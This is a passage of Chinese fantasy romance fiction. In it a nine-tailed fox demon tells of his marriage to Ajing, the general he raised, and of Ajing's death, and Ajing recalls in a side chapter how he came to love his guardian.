我看向阿璟,在对上他的眸子时,他眸中换成了一如既往的温和。 眼前这个狠辣决绝却又温柔细腻的人,算是我一手养大的孩子,也是我夫君。 人都是矛盾的,我不会要求阿璟去改变,顾永和碎尸万段是自取其咎,阿璟的做法,倒合我意。 喝完粥,月上林梢,现在入睡容易积食,阿璟便搂着我,给我讲他的过去。 他父母曾经开了一家鸿福客栈,很简单的名字,但却是大多数人一生追求的寓意。 后来蛮人入城,烧杀抢掠,城内遍地横尸,他藏在父母的尸身下,沉重的尸体压的他喘不过气,蛮人走了他才艰难的爬出来。 父母的客栈生意很好,他每天下了学堂就帮父母干活,偶尔逗一下熟客带来的小孩子。 讲完,他问我:“你有没有想过要做什么?” 我想了想,说:“开一家客栈吧,就叫鸿福客栈。” 阿璟笑着亲了我一下,说:“好。” 抛开生理本能,我不会对他亲昵的动作予以任何回应。 “我应该是让你失望了。”我说。 阿璟明白我的意思,他搂的更紧了,安慰我说:“没有。我想通了,你不需要有任何改变,我来爱你就好,你只需要接受我的爱。” 我点头。 他又说:“我好像都不知道你的名字。” “君亭。”我回了一句,“名字只是一个称呼,对我来说有没有都一样。” 数声风笛离亭晚,君向潇湘我向秦。 母亲临盆时正逢父亲离开,她干脆给我取了这个名字。 父亲归来时抱怨这名字像责怪他不要母亲,让我顶着这个名字活那么久寓意不好,他问我要不要换,我摇头,对此没有任何意见。 名字只是一个称谓,不重要,至少对我而言是这样。 阿璟又说:“我忽然想到一个问题。” 我抬头:“什么问题?” 阿璟没回答,他咬破自己的舌尖,吻了过来。血腥味在我口中散开,我忙推开阿璟。 “我伤到的是本源妖丹,没用的,你别白费力气。” 阿璟没再吻我,只是问:“维持人形要不少妖力吧?” “不多。”我摇头。 “我想看看你的原形。” 这个要求倒也不过分,只是我有些乏了,人妖两种形态来回切换很麻烦,便道:“我有些乏了,想看的话以后再说。” “你现在变回原形休息一下也可以,我不会让别人进来的。” 我无奈,变回原形被阿璟抱在怀里。他的大手轻抚着我的脑袋,我并不讨厌这种感觉。困意袭来,我懒得变回去了,盘起尾巴就睡。 一夜无梦,第二天醒来感觉自己精神了不少,还没睁开眼,就被人从被窝里抱起来。 我用尾巴打了那人一下,想让他放我下来,他不放,反而开始顺我的毛,我一只九尾天狐,总感觉被当成猫了。 “放我下来。”我睁开眼说。 头顶传来一个带着笑意的声音:“不放。” 我已经开始考虑要不要用爪子抓人了,门却突然被人推开,兰心冒冒失失的闯进来,似乎要说什么,但看到阿璟手里的我,立刻被转移了注意力。 “欸,将军哪来的小狐狸,可不可以给我也抱一下?” 我:“……” 你最好别抱,我心想。 阿璟抱着我坐到一旁的椅子上,说:“这狐狸认人,你若抱了,怕不是要被咬一口。” “可惜了。”兰心有些失望,“不能抱应该能喂吧?厨房有些生肉,我去拿来喂它!” 阿璟叫住要跑走的兰心,手还不忘给我顺毛,笑道:“他吃熟食。你刚才是不是要说什么?” “刑部尚书满酉君想见您,我看他慌慌张张的,想来是有急事。” “让他去前厅,我一会就去。” 兰心说了一句“好”,人已经转身了,目光却还停在我身上。 “真的不能抱吗?” 阿璟拒绝的很果断:“不能。” 兰心很失落的走了。 “放开我。”我又道。 阿璟还不肯,我急了,直接从他怀里跳出来化成人形,白了他一眼。 “还不让摸了。”阿璟凑过来,在我的颈窝落下一个吻,“你哪里我没摸过,这就生气了?” 我推开他,想说话却被他气的咳嗽。我的身体实在是虚弱,现在恐怕连风吹都禁不住。 我咳了几声,阿璟想上前,却被我按住,我冷声道:“去前厅会你的客去!” 阿璟被我凶了一顿,倒也不恼,反而笑起来,我有点怀疑他是受虐狂。 他笑着说了一句“去去去,我听你的”,然后在我唇上叮了一下,走了。 他临走还不忘占我便宜。 8. 此后刑部尚书满酉君隔三差五的来一趟,阿璟会客我一般不出面,无奈某天阿璟有事出去了,兰心说他在外面急的团团转,我便请他进来,先稳住他,等阿璟回来。 朝中人人皆知我是妖,但见过我的人很少,顾永和算一位,这位刑部尚书是第二位。 他起初有些怕我,我给他递茶,他接茶水的手都在发抖,我很确定我看他时是笑着的,但他好像把我的笑当成猎人对猎物不怀好意的假笑了。 大约过了半个时辰,阿璟终于回来了。 我看满尚书挺怕我的,就要走,却被阿璟拽回来,笑着问:“尚书大人应该不介意夫人听我们的谈话吧?” 满尚书哆嗦着嘴说:“不介意。” 我觉得尚书大人可能连自己埋哪里都想好了。 “你们讨论国事,我不便参与,还是避开较好。” 我坚持要走,阿璟不让,说:“不是国事,是顾永和的事。” 顾永和? 我心下生疑,起了兴致,也就没离开。 茶凉了,我在一旁煮新茶,顺便听他们谈话。 满酉君:“将军您换个法子折磨他吧,三万刀真的太多了。” 阿璟:“不可能。” 满酉君:“把人剁成肉泥也要不了这么多刀啊。” 阿璟:“我就要三万刀,一刀都别想少。” 满尚书不说话了,他大抵是在想怎么另辟蹊径让阿璟改主意。 我沏了一壶热茶,分了两个茶盏倒水,一杯给阿璟,另一杯给满尚书。 阿璟在看到我的手伸过来的那一刻突然有了主意。 “能动骨头么?” 满尚书一口茶喷了出去,他的脸色很精彩,眼珠子溜来溜去,看看我又看看阿璟,最终选择仰天长叹。 “将军,我觉得吧……” “一刀都不能少。”阿璟冷冷的盯着他。 满尚书闭嘴了,他不觉得了,带着阿璟的提议进宫去了。 此后他就没再来过将军府,我估计满尚书有事也就是下朝路上和阿璟说了,他应该是怕我。 我雕了好多扇坠,多到不知又塞满了第几个檀木盒子,阿璟帮我把装扇坠的盒子放到架子上。 “你为什么这么喜欢雕扇坠?” “习惯了。”我回了一句。 “我母亲喜欢收藏折扇,但那些折扇都没有扇坠。父母不在的时候,我就雕着扇坠数日子等他们回来,久而久之成了习惯。” “以前你雕了多少扇坠我才会回来?” “没记过。” 阿璟从背后抱住我,在我脸上蹭来蹭去,说:“你不关心我。” 我无奈:“你是三岁小孩?” 他亲了我一口:“你都一千多岁了,我才十九,在你面前怎么不算小孩子?” 我觉得他说的有道理,但我还是想反驳,可惜没正当理由。 而且阿璟根本没给我反驳的机会,他把我打横抱到床上,欺身压了过来,说想看看我身子恢复的如何了。 我只能说,恢复的很好,但我还是很累,好在第二天没发烧。阿璟带我去天牢看顾永和,顾永和出言不逊,我并不在意,阿璟却割了他的舌头。 临近年关,街上也热闹起来。阿璟带我出去,恨不得把我裹成粽子,里三层外三层的衣服压得我喘不过气。 我们逛了很久,我第一次觉得人间的过年原来这么热闹。 过了年,顾永和被问斩,阿璟全程看着,我期间也去了一趟,阿璟却不让我看。 我说我见过的未必比他少,他盯着我看了一会,随后笑起来,将我揽在怀里,问我我生气是什么样子。 我说可能会烧毁将军府甚至百姓的房子,他说那还是别生气了。 我叹气:“其实你之前没必要割顾永和的舌头。” “他侮辱你。” “我知道,但你真的没必要。” “他侮辱你。” 我:“……” 我闭嘴了,继续叹气,突然发现和人交流好困难。 9. 日子就这么一天天的过去,将军府里的热闹不会随着时间的流逝消退半分。 阿璟隔三差五回来一次,我在府里看着窗外的树叶绿了又黄,似乎和以前没区别,但又有了很大的区别。 我的身体没个两三年是恢复不了了,阿璟临行前吩咐管家把我照顾好,他们把我安排的明明白白,精细到每天每顿吃什么。 阿璟每次回来,陛下都要赏赐他一些东西,那些东西他不要,我也不感兴趣,干脆拿去换成米面当救济粮。 我和阿璟同房,情到深处时,他总会让我喊他夫君,我哪喊得出来,顶多有个心理认同,所以一次也没喊过。 我们成亲的第三年,陛下祭祖,阿璟和其他门派的修士同去,负责保护陛下。为了避免染上妖气,祭祖前一晚我和他分房睡,结果他半夜摸到我房里来了。 “你明知道明日有其他门派的修士在场,今晚还非得吃我这一次?”我有气无力地拍在他肩膀上。 阿璟把我的呻吟堵在喉咙里,吻到我说不出话了,才开口:“我不止今晚吃,我明晚还吃,我就好夫人这口。” 我可以保证我抚养阿璟时根本没有教过他这些东西,我真的很好奇他到底是和谁学的? 又是一年,阿璟带我上街,街上灯火通明,炮声不绝于耳,热闹极了。 阿璟突然问我:“你是不是没有姓?” 我点头:“妖不需要姓氏,再懒点名字都可以不取,是什么成精就叫什么妖。” “这可不行,你的名字只能留给我,等哪天我死了,我的名字留给你。” “我不对外说自己的名字就好了。” 阿璟还是不愿意:“你倒不如随我姓,天下姓闻人的不止我一个,这样以后出门就可以只报姓氏。” “阿璟,名字只是一个称呼。”我叹气,觉得他有些幼稚了。 阿璟见我不愿意,便说了一句:“你不愿意就算了。” 不及开春,阿璟又走了。 我像以前一样雕扇坠、处理府中大小事务,不过因为之前开了家客栈的缘故,又多了一份对客栈账本的工作。 阿璟带回来的那两块石头被我点化成人,虽然傻不愣登的,但好在他们肯学,学的久了也就日渐熟练,可以像正常人一样接待客人了。 年岁倏忽,我与阿璟成亲的第八年,琅风突然来将军府,说各大门派要围剿长生,让我赶快过去。 我问他现下情况如何,他说须臾山派了谢行错对付松意的父亲,白薇和松意去救其他族人了。 纵然谢行错少年天才,也不可能是松意父亲的对手,须臾山不会无缘无故派行错去的,而且行错与松意交好,他根本就不会下手。 我心中起疑,便让琅风先走,随后叫来管家,将一块尚未雕好的九尾扇坠递给他,告诉他若阿璟回来让他不要担心我,我半个月内一定会来。 这次怕是凶多吉少,不去古兽境养伤是不行了。 我离开将军府去找谢行错,我赶到时,恰逢一个须臾山弟子剑指谢行错。我挑飞他手中的剑,那人叫起来:“谢行错,你还说你没有和妖物勾结?” 我嫌它吵,干脆现出真身让他永远闭了嘴。 我挡在谢行错面前,催他走:“行错,去找松意!” 真身威压让那些须臾山的修士不敢上前,他们只能眼睁睁谢行错趁此机会逃走。 松意父亲不在这里,我收了真身想走,身后却突然飞来一股极其霸道的灵力。 我躲开来者的攻击,那人很高傲,踩在飞剑上,看我像是在看一只蚂蚁。 四面八方的人潮向我聚拢,我想速战速决,干脆直接召来天火,他们自顾不暇,根本没空追我。 我去找松意的父亲,途径灵蝎一族,千足的母亲将灵蝎一族的秘术交与我后便没了气息。 灵蝎一族的秘术以毒著称,决不能落入外人手中。 天火在不断消耗我的妖力,我顾不了那么多,只想尽快找到松意的父亲。 我忘了我找了多久,只记得太阳西斜时,一股强大的妖力波动将方圆百里的活物悉数震飞。 紧接着,百兽啼哭,雀鸟惊飞,在天空盘旋,一圈又一圈。 我知道,松意的父亲死了。 我也被震飞,五脏六腑仿佛都被震碎,碰巧有好几个门派的弟子发现了我,想将我杀掉。 我解除自身封印,将妖力全部释放,开始大肆杀戮。 鲜血飞溅,我记不清自己杀了多少人,也不记得杀了多久,泛月找到我时,我浑身是血。 松意去了须臾山,我则留在泛月的客栈养伤,我伤的比之前还厉害,连自己的妖气都无法压制。 古兽境被封,我无法进去养伤,恢复的极为缓慢。 我盘算着阿璟回来的日子,在客栈就这么过了几天。 直到有一天,来了两位客人,他们点了一壶酒,随后就开始说京都的状况。 我刚从后山调息回来,脚还没踏过门槛,就听其中一人率先开口:“咱俩明年去焱州玩玩?将军把焱州收回来了,咱去走一圈。” 另一人喝了一口酒,欣喜中更多的是感慨:“焱州是收回来了,就是可惜了将军。” “将军怎么了?”我眼神冰冷的问。 那人被我的眼神吓了一跳,缓了一会才说:“将军班师回朝途中旧伤复发病逝了,今日出殡。” 我的大脑在听到“病逝”二字时一片空白,心突然像是被一把钝刀扎了一下。 刀刃并不锋利,那种疼不是一瞬的,而是一点一点,慢慢刺入心脏。 等我回过神来,已经在去将军府的路上了。 路上下了小雨,我到将军府时,府中仆从早已被遣散,正逢起棺出殡。 我并未遮掩妖气,护棺的修士命令身后的两个小修士护棺,自己明明怕的要死却还是壮着胆问我来做什么。 我来做什么? 我开始思考这个问题,很快就有了答案。 棺中躺着的是我一手养大的孩子,也是我的夫君,我还能来做什么呢。 “我来为我夫君送行。” 圣人很惊讶,而后涕泪俱下。 阿璟被葬入皇陵,去皇陵的路上偶尔有小妖出来吓唬人,所以保险起见请了修士护棺,但有我在,别说小妖了,大妖都不敢轻举妄动。 我一袭素衣,撑着伞看阿璟入葬,丧事结束,我没回将军府,而是继续回泛月的客栈养伤。 10. 我依旧雕扇坠。 我的生活一切如常,伤好的差不多的时候,我花了半年时间走遍了阿璟收复的所有地方。 行至焱州时,我遇到一个钻研毒术的任姓修士,明明凭他的天资可以去烟帐山,说不定将来还能做掌门,但他偏不。 我阅人无数,看人从来不会出差错。 毒能杀人,亦能救人,与其让灵蝎一族的秘术在我手中不见天日,倒不如让他传下去,即便是用人类来传承,也总比断绝好。 我将灵蝎一族的秘术赠予他,他苦心钻研,自成一派。 游历时经常有人问我叫什么,我说我复姓闻人,他们便叫我闻人公子,回到客栈,则是喊我闻人老板。 渐渐的,我习惯了用这个姓,再后来,它直接成了我的名字。 闻人二字,于我而言,是名是姓,更是一个曾经爱过我的人存在的证明。 虽然我天性冷淡,但我又很幸运,父母、亲人、朋友还有我的夫君,他们都很爱我。 我们初见时,阿璟七岁,他十九岁与我成亲,二十七岁那年阴阳永隔。 阿璟在我漫长的一生中只出现了二十年,但这二十年却足够留下浓墨重彩的一笔。 他入葬那天,我没有哭,在声泪俱下的人群里显得格格不入。 但我知道,以后再也不会有这样一个人出现在我生命中了,即便有也不是他,没有谁能代替他。 我从焱州回来,没再去泛月那里,而是待在自己的客栈,开始做生意。 我还和以前一样种花看书雕扇坠,除开要联系食材供应商之外,偶尔去看看尖石圆石有没有偷懒。 我的生活依旧平淡,似乎又和以前没区别。 窗外的叶子绿了又黄,河面的冰结了又融,又是一年草长莺飞。 时间的流逝不会在我身上留下任何痕迹,只有盒子里越堆越多的扇坠在替我记录日月轮换和四季流转。 扇坠还会替我记录更多消逝的年岁,而我会记住那些爱过我的和每一个值得被去爱的人或妖。 或许我永远无法对他们的感情做出回应,但我会永远铭记他们,直至枯骨成灰,世间再无九尾。 22. 二十(下) 1. 璟,寓意光明灿烂吉祥如意,我出生时,父母给我取了这个名字表达他们对我的期望和祝福。 我本以为我也可以像这个字一样度过我的一生,但后来发生的一切证明我太天真了。 那天变故来的太快,很多人来不及撤离便惨死在蛮人的屠刀下,其中包括我父母。 我藏在他们的尸身下,这才逃过一劫。从尸体下爬出来时,天边残阳似血,城内横尸满地。 蛮人走了,但我知道,这只是一个开始,还会有更多地方像柳城这样。 我开始逃跑,跑到夜幕降临,准备一个人在城外的密林里熬过漫漫长夜。 但我没跑多久就遇到一只妖,那只妖正在喝人血,那人被咬断气了,脖子歪着,鲜血从脖颈处流出来。 他发现了我,我撒腿就跑,可凡人之躯哪能跑得过妖? 我以为自己要死了,眼前却剑光一闪,那只妖便顷刻间化成灰烬。 一个修士救了我。 他一路上对我照顾有加,我问他名字他不肯告诉我,我说我想学剑术,他说他剑术不好,我可以向他朋友学。 我说好,然后他带着我去见了他的朋友,但我没想到他朋友会是一只妖。 我和他初次见面,他问我怕不怕他,我说不怕,心里想着大不了以后你敢杀我我就拉你一起死,但我的想法被看出来了,他说八面玲珑才是顶级猎人该有的模样,我记住了。 修士走了,留我和一只妖生活在一起。 我怕他在饭里下毒,每次都吃很少,直到某天他说我还不够他塞牙缝,饭里没毒。 我仔细想了想,若他要害我,倒也不用这么麻烦,直接杀了我便是,反正没人看得见,这么一想,我开始正常吃饭了。 但他居然说我还不够他塞牙缝,我长得很像什么营养不良的豆芽菜么? 又过了一个月,他开始教我识字学剑。 那年我七岁。 我小时候很皮,问题也多。 总围着他问一堆问题,他有时笑而不答,有时会为我解释,但更多时候是面无表情的给我讲道理,像我在柳城那个学堂的授课先生。 小孩子爱玩是天性,他从不反对。我并不是每天练剑,不练的时候就在院子里玩。 有一块空地种了好多花,那种花从我见到的第一眼到现在都开着,花期好长好长。 我从未见过这么奇特的花,突发奇想就要摘下来看看,但我不仅没摘下来,还惹到了当时正在花上采蜜的蜜蜂,然后就被蛰了。 他给我上药,我不服,撅着嘴。 他笑起来:“你和一朵花较什么劲?” “我只是想看看我把它摘下来它会不会败掉。” “不会的。”他摇头,“这种花叫百年春,花期有一百年,而且不到时间你把它摘下来它也会开着。” “你喜欢这种花?”我问他。 “我母亲喜欢。” 他说话时眸光闪动,我猜他一定是想他的亲人了。 “我能摘一朵么?”我又问,“我屋里有个空瓶子,我想把花插上面。” “这花不是人能摘的。” “那算了。”我有些失落。 但我没想到,那天晚上,我房间的空瓶子里居然多了好几朵花。 百年春的花瓣洁白如玉,月光照在上面,像是在发光,淡黄的花蕊顶端有一层细绒,手指轻轻一碰,能沾到好多鹅黄色的花粉。 那朵花一直在我房间开着,后来我搬到将军府,把它连瓶带花一并搬了过去。 闲暇时他会给我讲好多故事,故事发生在不同的地点,每一个地方我都记得清清楚楚。 有时,那个救过我的修士寄来一封信,他会给我读信。有时他不读,我就缠着他让他读,他拗不过我,只能读信。 他是妖,但又很细心,可他却永远是一副淡然的样子,甚至很少生气。 外面传来蛮人又侵吞哪片土地,杀了多少人的消息时,我会替那些逝去的人感到惋惜。 我觉得他也会,毕竟那些人是无辜的,可是没有,我没有见过一次。 我想不明白。 一只生活中对我一个人类处处体贴照顾得无微不至的妖,又能冷漠到哪里去? 但他从来没表露过什么情绪,只是偶尔笑笑。我曾期待他会悲伤,但是从七岁到我死去,他一次都没有。 我觉得他不该这样。 情感是生物共同的本能,妖与人之间不过是种类不同、寿数不同罢了,本能还是共通的。 但为什么他会是这样? 我试着寻找答案,可惜我并未从他身上看到过任何可以得出答案的举动。 他永远都是一副淡然从容无喜无悲的样子,他不会长大,也不会老去,只有年龄在默默增加——时间不会在他身上留下任何痕迹。 这是我寻找答案未果后得出的结论。 我不甘心,在某个寒冷的冬夜,围在炉边看他拨弄炭火时,忍不住问了一句:“你怎么总是一副什么都漠不关心的样子?你以前也这样么?你的过去是不是发生了什么?” 他拨弄炭火的手微顿,摇曳的烛火散发出昏黄温和的光,为他的侧脸平添了几分柔和。 他继续手中的动作,对我的三连问置之不理,只说了一句:“阿璟,我以前就这样,现在也这样,未来还会这样,你不要对我会改变抱有期待。” 我很失望,对他的回答并不满意,因为我想从中窥见一丝缘由,可是没有,他什么都不愿意告诉我。 我不信他不会变。 那年我十岁。 2. 我想让他改变,我试着接近他,故意逗他笑,但他只是勾起嘴角,笑的很浅,然后脸上就再无表情。 我和他说战争,他会很客观的评价,甚至会教我用兵之道,为我剖析战局,但依旧面无表情。 “你能不能有点表情变化?”我急了,我说得口干舌燥他都不会有一丁点表情。 他将倒好的热水递给我,问了一句:“你说大半天就是为了这个?” “不然我来干什么?” “我以为你来找我学兵法。” 我:“……” 为什么他会觉得我是为了这个,我像什么特别爱学习的人么? 我黑着脸,他却笑了:“逗你的,都说了不要对我会改变抱有期待。你也该学这些了,将来上了战场,要用到的。” “我都不知道你还懂这个。”我把喝空的茶盏递给他,“你也打过仗?” 他接过茶盏,刚才还笑吟吟的脸恢复了往日的平静,说:“我是一只为战而生的妖。” “那你一定经常打仗。” “没有。”他摇头,“我只打过一次。” “你这么懂用兵之道,一定赢了。” 他呷了一口茶,点头说:“我确实赢了。” “首战告捷,你的父母一定很开心。” “嗯,他们很开心。”他依旧面无表情。 我也替他开心,但又有些替他难过:“你在这里住了这么久,他们都不来看你么?” 一句无心之言,让他放下茶盏的手顿在半空,片刻后,他放下茶盏,抚摸我的脑袋:“我也想让他们来看我啊……” 我的心猛的一抽,意识到自己说了不该说的话,赶忙道歉,他却说没关系,那都是几百年前的事了。 我借口天太晚了想回房睡觉,他说好。 那晚我根本没睡着,我第一次体会到心痛的感觉。 他匿于凡尘烟火这么久,却没一个亲人来看他。 他活了这么久,想来已经成家立业,之前一定是儿女双全父母安康的生活,只不过被战争毁了,自己也变成如今的模样。 我替他悲伤,但我依旧像以前一样,除了练剑,便是整日围着他喋喋不休。 从十岁到十三岁,整整三年,我没改变他,自己倒先变了。 我发现好像喜欢上他了,又好像是单纯的依赖他,我努力确定我对他的感情是亲情还是什么别的感情。 我想让他一直陪着我,但以师徒关系也能陪着我,为何非得是以夫妻的关系呢? 直到十三岁那年开春,河边的柳树抽出新芽时,我看到一对老夫妻有说有笑的坐在树下,我确定了,我喜欢他。 我不想以师徒的方式和他在一起,我想让他做我的妻,我要的是夫妻白首不相离,而不是师徒之间那种仅限于传道授业的陪伴。 可我为什么会喜欢他? 我想知道答案。 那年春天特别暖和,燕子早早衔来软泥筑巢,我们住的地方也有燕子窝,可惜一场风雨让燕子窝掉了下来。 雨过天晴,我想让他带我去钓鱼,出了门,我还未开口,就见他用妖力将燕子窝重新放了回去。 窝里一群叽叽喳喳的小乳燕羽翼未丰,张着嘴要吃的,他刚把窝放回去,燕妈妈就飞回来了。 乳燕不再吵闹,安静的等燕妈妈投喂。 我忽然明白我为什么会喜欢他了。 他向来细腻,会在我吃完药给我一块糖;看到我练剑受伤会把药送到我房间;会在我围着他喋喋不休时为我倒水润喉。 他曾问过我的生日,我只是随口说了一句,他却记得很清楚。 我从来不会主动让他给我过生日,我觉得没必要,而且会麻烦他,但他总会在我生日那天为我煮一碗面。 他会做很多微不足道的小事并闭口不提,或许是他觉得这没什么可说的。 我习惯了他做这些事,也喜欢他在这些小事上的体贴。 他内心其实很温柔,只是经历的多了,所以对什么都淡然无波了。 我喜欢这样的他,但我不能告诉他。 他一定会说他是妖,而且他这种性格的人也不少,我没必要吊死在他这一棵树上,可以去找一个人。 可我为什么要找别人? 我首先喜欢他,其次是他这种性格,最后才是他这种性格的妖。 他永远在第一位。 人有很多,妖也有很多,但他只有一个。 所以我没告诉他。 我把这件事藏了很久,久到后来我忘了已经过去多少个月圆月缺,我才敢告诉他。 那年我十三岁,正是情窦初开的年纪。也正是那一年,少时心动,此后便是一生。 直到我死,我都觉得自己很幸运。 这世间爱而不得的人多了去,婚前恩爱婚后鸡飞狗跳的也不在少数。 我很幸运,我不仅得到了所爱,婚后甚至没有过任何争执。我们的生活很平淡,我想要的就是这种日子。 3. 转眼又是一年,我十四岁了。 那日我正在屋里练字,透过半开的窗户看到一个年纪和我差不多的姑娘递给他一封信。 那姑娘穿着打扮像极了当年救我的修士,我猜这姑娘应该是他的同门师妹。 她似乎很悲伤,应该是出了什么事。等那姑娘走了,我去找他,想问他发生了什么,不料刚进门就看到他正要把手伸进火堆里。 我赶忙上前抓住他的手,几乎是吼出来的:“你疯了?” 他抬头,扫了我一眼便抽回手,说:“这火伤不了我。” 是了,我差点忘了他是妖,又怎会被普通的凡火伤到。 但我依旧皱着眉,我还是怕他受伤。 他没再看我,将目光落到火堆里,等火舌吞没最后的纸张后,收起桌上尚未雕完的扇坠就要走。 “罢了,人走茶凉,留个物什倒会给自己徒增悲伤,随他去了更好。” 我的心突然“咯噔”一下。 我明白,救我的修士死了,紧随其后的,是一种漫无边际的悲哀和感伤。 他与那个修士相识一场,如今朋友离世,他居然没有一丝悲伤。 我害怕,我真的很希望他可以有别样的情感。 我喜欢他,但我没有告诉他。 我希望若是将来我死了,我喜欢的人愿意为我哭一场,他会悲伤,而不是像现在这么司空见惯,说什么人走茶凉,然后将我的遗物毫无保留的毁掉,说随我去了更好。 我真的好害怕。 我问他:“如果我也死了,你也会这样想么?” 他被我的话绊住脚步,我一错不错地盯着他,期待他会有不一样的回答,可是依旧没有,在这种事情上,他从来都只会让我失望。 他和我说:“阿璟,人固有一死,我见多了。” 我明白这句话的意思。 他见多了,也习惯了,所以不会悲伤,离别对他而言从来都是像一日三餐那样常见的事,悲伤对他而言是一种奢侈。 我没再说话,闷声走了。 后来我想开了,我为什么要强求他这样呢? 明明像现在这样能以师徒关系相处,不把我那个荒唐的想法暴露就已经很好了。 那次的冷战没持续多久,我们又恢复到了以前的状态。 十八岁那年我应征入伍,凭借一手剑术屡立奇功。 蛮人的尸体堆积成山,流淌的鲜血蜿蜒成河,我冷眼看着那些早已失去生机的身体,突然明白,我一辈子都不可能像我父母期待的那样了。 我从来不是一个该活在光明中的人,我是一只从黑不见底的地狱里爬出来的恶鬼,我要把那些畜生都拽进地狱,然后把属于衍国的土地拿回来。 我回去时是次年春夏之交,因大将军的举荐,陛下直接破例等我做了骠骑将军。朝中很多人不同意,但大将军据理力争,他们也只能就此作罢。 我知道大将军何意,他期待我能成一番大事,他曾同我说过,我是一个天生的杀神,总有一天会超越他在陛下眼中的地位。 若有一天陛下要封我做大将军,他会毫不犹豫的让位。 但树大招风,我不过十八岁,如此年纪便已是大将军之下的存在,有些人即便表面同意背地里也会暗中为难我。 大将军替我挡了很多发难者,陛下也和大将军一起力排众议。 陛下最小的皇子如今年纪也有二十五六,我这年纪都能做他孙子了,硬是凭军功让他见识到了什么是真正的年少有为。 这话是他私下和我说的,陛下私下里比朝堂上更平易近人。 我觉得陛下被人夸不是没有道理的。 他和皇后娘娘向来是把我当孩子对待的,宠溺却又寄予厚望。 我知道他们对我的期待,所以我不能让他们失望,也从来没有让他们失望。 有国君如此,我又有什么理由不拼尽全力为之一战? 回家那天下了雨,我没换衣服,穿着盔甲就跑进他的屋子想给他一个惊喜,他却被我开门带进来的风吹得咳嗽。 我忙关了门,想走进他却又怕他被铠甲的寒气影响到。 他拿起一旁早已备好的衣服扔给我,说不是什么大事,让我赶快去换衣服。 我没动,他说我再不动就会被铠甲的寒气冻死,我忙去换衣服。 第二日陛下派他身边的公公送来的赐封的圣旨陛下赏了很多东西,还有一座宅子。 公公邀请我们住进去,还说今晚有接风宴,他却说他还有事要处理,先不去将军府了。 他不去我也不去,连接风宴也推了,我想陪着他,不想去什么接风宴。 公公笑着说不去便不去了,他知道陛下对我的态度,也就由着我,还说宅子留着,我们想什么时候住过去都可以。 4. 我不知道他要处理什么事,心生好奇,某天见他追着一缕黑气出了门,便偷偷跟了过去。 我跟到一条巷子外,听到他和一只妖在谈话。 “我们是同类,你居然为了人类杀我?” 那只妖撕心裂肺的吼着,燃起的火光说明他正在被灼烧。 “这不是你残害无辜的借口。” “我残害无辜?”那只妖笑起来,“妖都会受月食影响,若非为了迅速恢复,我才不稀罕喝人血。你用天火杀我,自己也别想好过!” 火光闪了一下,那只妖再无声息。 我想到昨天他咳嗽的场景,突然明白了。 他也受到月食的影响,而且最近还在除妖,想来一定是比其他妖更虚弱的。 我走过去,刚巧碰到他转身。 我们对上目光,我看到他身后的虚影,连呼吸都变慢了。 一只半透明的狐妖张开九尾,毛发雪白,皎洁似月。每条尾巴的顶端都燃着一簇火苗,眉心是一簇像花一样将燃未燃的火苗。 虚影闭着眼,我能感受到,那双狭长的眸子一旦张开,就会有火焰吞噬一切。 九尾天狐。 我脑海中只有这一个念头。 父亲在世时曾提起过,世间有一种名为九尾天狐的妖,他们的真身姿容胜雪,原形和普通狐狸别无二致,能掌控一种名为天火的火焰。 妖的真身是魂魄法相,原形则是成妖之前的本体。 我第一次见妖物真身,也是第一次见到如此惊艳的真身。 “阿璟?” 他的声音将我唤回神,我一愣,蓦地想起来他说有事要处理,便问:“你不同意搬过去,就是因为这个?” 他叹气:“我总不能看着他们为了恢复妖力去残害无辜。” 他似乎很虚弱,我蹙起眉,说:“你也是妖,也会受到影响。” 他绕过我,转身离开,没有看我一眼。 “我知道,这里不是说话的地方。” 我没再说话,跟着他进了他的卧房。 我站在外面问他:“受到影响,必须喝人血才能恢复么?” 他把我请进屋子,说:“倒也不用非得这样,只是喝了能恢复的快一些。” 我问他受到的影响严重么,他一边斟茶一边说不严重,还有比他更严重的。 我登时火了。 他已经这么虚弱了,居然还说不严重。我真是搞不懂他是在仗着我不了解妖欺骗我还是单纯觉得严重了也没必要告诉我,所以才说不严重。 “你连一阵风都扛不住,这叫不严重?” “我说了,我没事。”他将茶递给我,我没接,咬破舌尖吻了过去。 他被我的举动震惊,忙推开我,放下茶盏,说他累了,需要休息。 我没走,他用自己的身体威胁我,我只好离开。 我真的生气了,但连我自己也没想到,我会以这种方式告诉他我对他的心思。 我一连几天都没同他说话,独自生着闷气,又为自己的冲动有些懊恼。 直到某天我帮他把菜端上桌的时候,他说想回那个宅子,毕竟是我用命换来的,不能晾在一旁不管。 我觉得可笑,如果没有解决他的事情,他根本就不会过去,他陪我去了,就会一直住在那里么? 他说他是妖,还是我师父。 我说只要我喜欢,这些都不重要。 他问我对他动情的原因,我骗他说没有原因。 我不会和他说的,我了解他,他不会接受那个理由,甚至会劝我放弃。 他却说希望我搞清楚动情的原因,否则我们还是以师徒关系继续相处好。 我很清楚,但我不能告诉他,况且,即便我告诉他,他也不会接受我的爱。 “这话说得和你知道了就会同意一样。” 我坐下吃饭,顺带噎了他一句。他微顿,说明天就搬过去,让我向陛下请示。 我问他会不会和我一直住在那里,他说会,我放心多了。 我特意在将军府为他空出一块地方种花,他种了很多百年春。 他没有定时起床吃饭的习惯,我小时候起床做了早饭就回去补觉了。 后来我会自己做饭,就没让他再起来,他干脆负责午饭和晚饭。 我回来不到一个月又上了战场,临行前吩咐管家府中事务都交由他打理,我相信他会处理好。 班师回朝的路上途径赤野峡,我想起他说过赤野峡的石头灌注妖力会开花,想着他应该会感兴趣,便趁军队休息时挑石头。 “怎么突然玩起石头了?”大将军走到我身边,看我捡石头。 “童心未泯。”我随口胡诌。 大将军却笑起来:“我还以为是想送人呢。” 我笑而不答,继续捡我的石头,大将军笑着拍了我几下,走了。 我捡了好多石头,终于挑出两块能看的,这地方的石头真是各有各的丑,我心想。 我回将军府时是一个夏日的午后,管家他们很开心的迎接我,却独不见他。管家说他在房里抄经书,我便换了一件衣服去他房中。 我推开门,他抬头,身子微侧,想去一旁拿衣服给我换,却在看到我的衣服后又坐了回去,继续抄经书。 我走过去,将石头放在一旁,问他在抄什么,他根本不在意我的石头,说他在抄佛经。 他居然一点反应都没有,我不开心,便使坏,对他说我想娶他。 这话虽然是在逗他,但我是真心的。 他被吓得手抖,字写歪了,我笑起来,帮他换了一张纸。 他有些生气,问我是不是故意的,我骗他说不是。 他很无奈的问我为什么会喜欢他,我说情不知所起,一往而深,我想让他也喜欢我,试试就好,我想看他动情是什么样子。 